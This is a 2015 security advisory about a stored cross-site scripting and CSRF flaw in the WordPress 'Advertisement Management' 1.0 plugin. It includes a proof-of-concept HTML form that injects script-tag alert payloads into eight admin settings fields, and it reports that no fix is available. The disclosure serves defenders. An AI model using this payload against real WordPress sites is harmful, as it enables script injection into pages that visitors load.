WordPress Advertisement Management 1.0 Cross Site Scripting

2015.08.03
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Title: WordPress 'Advertisement Management' Plugin Version: 1.0 Author: Morten N?rtoft, Kenneth Jepsen & Mikkel Vej Date: 2015-06-16 Download: - https://wordpress.org/plugins/advertisement-management/ - https://plugins.svn.wordpress.org/advertisement-management/ Notified WordPress: 2015-06-21 ========================================================== ## Plugin description ========================================================== Advertisement Management lets you administrate all the blog advertisements diretctly from the blog backend. ## XSS/CSRF vulnerabilities ========================================================== The settings on the admin page is vulnerable to XSS. PoC: Log in as admin and submit the this form <form method="POST" action="[URL]/wp-admin/options-general.php?page=Advertising_page&action=update"> <input type="text" name="Advertising_front_page" value="</textarea><script>alert(1)</script>"><br /> <input type="text" name="Advertising_single_top" value="</textarea><script>alert(2)</script>"><br /> <input type="text" name="Advertising_single_bottom" value="</textarea><script>alert(3)</script>"><br /> <input type="text" name="Advertising_page_top" value="</textarea><script>alert(4)</script>"><br /> <input type="text" name="Advertising_page_bottom" value="</textarea><script>alert(5)</script>"><br /> <input type="text" name="Advertising_below_commentbox" value="</textarea><script>alert(6)</script>"><br /> <input type="text" name="Advertising_blog_top" value="</textarea><script>alert(7)</script>"><br /> <input type="text" name="Advertising_below_footer" value="</textarea><script>alert(8)</script>"><br /> <input type="submit"> </form> After having done this, some of the injected scripts will be executed when loading the front page of the site. ## Solution ========================================================== No fix available ========================================================== XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top